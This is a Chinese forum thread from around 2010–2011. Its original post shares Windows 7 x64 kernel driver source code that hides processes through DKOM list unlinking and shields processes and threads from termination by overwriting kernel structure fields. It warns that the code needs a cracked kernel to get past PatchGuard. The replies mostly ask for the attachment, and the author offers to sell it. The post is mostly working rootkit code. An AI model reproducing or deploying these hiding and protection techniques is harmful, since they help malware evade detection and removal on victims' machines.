[原创开源]在Windows 7 x64上隐藏进程和保护进程(2010-11-10更新)
实现隐藏进程和保护进程的手段依然是DKOM,不过是修改的位置不同而已。至于怎么在64位操作系统上加载驱动,我已经说过了,请参考这里。
驱动使用WDK7的x64 Free Build Environment编译。
核心源码:
#define PROCESS_FLAGS_OFFSET 0x440
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
#define PROCESS_RUNDOWN_PROTECT_OFFSET 0x178
ULONG64 Get64bitValue(PVOID p)
{
if(MmIsAddressValid(p)==FALSE)
return 0;
return *(PULONG64)p;
}
VOID Set64bitValue(PVOID p, ULONG64 v)
{
KIRQL OldIrql;
if(MmIsAddressValid(p)==FALSE)
return ;
OldIrql = KeRaiseIrqlToDpcLevel();
*(PULONG64)p=v;
KeLowerIrql(OldIrql);
}
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&
ListEntry->Blink != ListEntry &&
ListEntry->Blink->Flink == ListEntry &&
ListEntry->Flink->Blink == ListEntry)
{
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
VOID HideProcess(PEPROCESS Process)
{
RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}
VOID Test(ULONG uIoControlCode)
{
switch(uIoControlCode)
{
case IOCTL_HideProcess:
{
__try
{
memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
if(NT_SUCCESS(status))
{
HideProcess(eProcess);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_ProtectProcess:
{
__try
{
memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
if(NT_SUCCESS(status))
{
OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));
Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_UnprotectProcess:
{
__try
{
Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
}
}
2010-11-10更新内容:
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
#define PROCESS_FLAG2_OFFSET 0x43C
#define CROSS_THREAD_FLAGS_OFFSET 0x448
VOID Test(ULONG uIoControlCode)
{
switch(uIoControlCode)
{
case IOCTL_ProtectProcess:
{
__try
{
memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));
dprintf(" dwInPid=%ld",dwInPid);
status=PsLookupProcessByProcessId(dwInPid,&eProcess);
if(NT_SUCCESS(status))
{
dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));
Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);
dprintf(" Protect Process finished");
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_ProtectThread:
{
__try
{
memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));
dprintf(" dwInTid=%ld",dwInTid);
status=PsLookupThreadByThreadId(dwInTid,&eThread);
if(NT_SUCCESS(status))
{
dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));
Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
dprintf(" Protect Thread finished");
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_UnprotectProcess:
{
__try
{
Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);
Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
dprintf(" Unprotect Process and Thread finished");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_PauseThrdProtect:
{
__try
{
Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
dprintf(" Thread Protect Suspended!");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
case IOCTL_ResumeThrdProtect:
{
__try
{
Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
dprintf(" Thread Protect Resumed!");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
}
}
警告:此代码在没有破解内核的WIN7 X64上使用,会触发PatchGuard引起蓝屏。
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD. TE 看看 兄弟写的代码都是精品 怎么附件不能下载啊 楼主好像年龄并不大啊:funk: 回复 wj8900930 的帖子
也不小了。。。 回复 wj8900930 的帖子
可真不容易,能回复了,5555555:victory: :(:(:(:):):)可真不容易,能回可真不容易,能回可真不容易,能回 经常有程序无缘无故关闭,需要第二个文件,但是没钱没权限:'( 回复 y44260351 的帖子
核心代码都贴出来了!!! 回复 Tesla.Angela 的帖子
我连汇编都不太行{:1_156:} 回复 y44260351 的帖子
这跟汇编有什么关系 但是没钱没权限 支持了,但是不能下载啊 很费解 怎么提升阅读权限··· 572202700 发表于 2011-7-11 15:52 static/image/common/back.gif
很费解 怎么提升阅读权限···
http://www.vbasm.com/thread-4478-1-1.html 可以隐藏进程了么? 谁下到了能用不!!发个给我,我下不了 2320806 发表于 2011-9-23 13:25 static/image/common/back.gif
谁下到了能用不!!发个给我,我下不了
代码是我写的,你可以联系我付费购买。 楼主不错,正好找这个 阅读权限哪儿来的:loveliness: :P还要积分啊 :$还要水晶币 :o好多哦买卖打死 zgzg15 发表于 2011-9-29 18:37 static/image/common/back.gif
好多哦买卖打死
需要的话,可以自己用技术换取,也可以花钱购买。 谢谢分享 我会努力滴 :) 膜拜 不给下啊 需要的话,可以自己用技术换取,也可以花钱购买。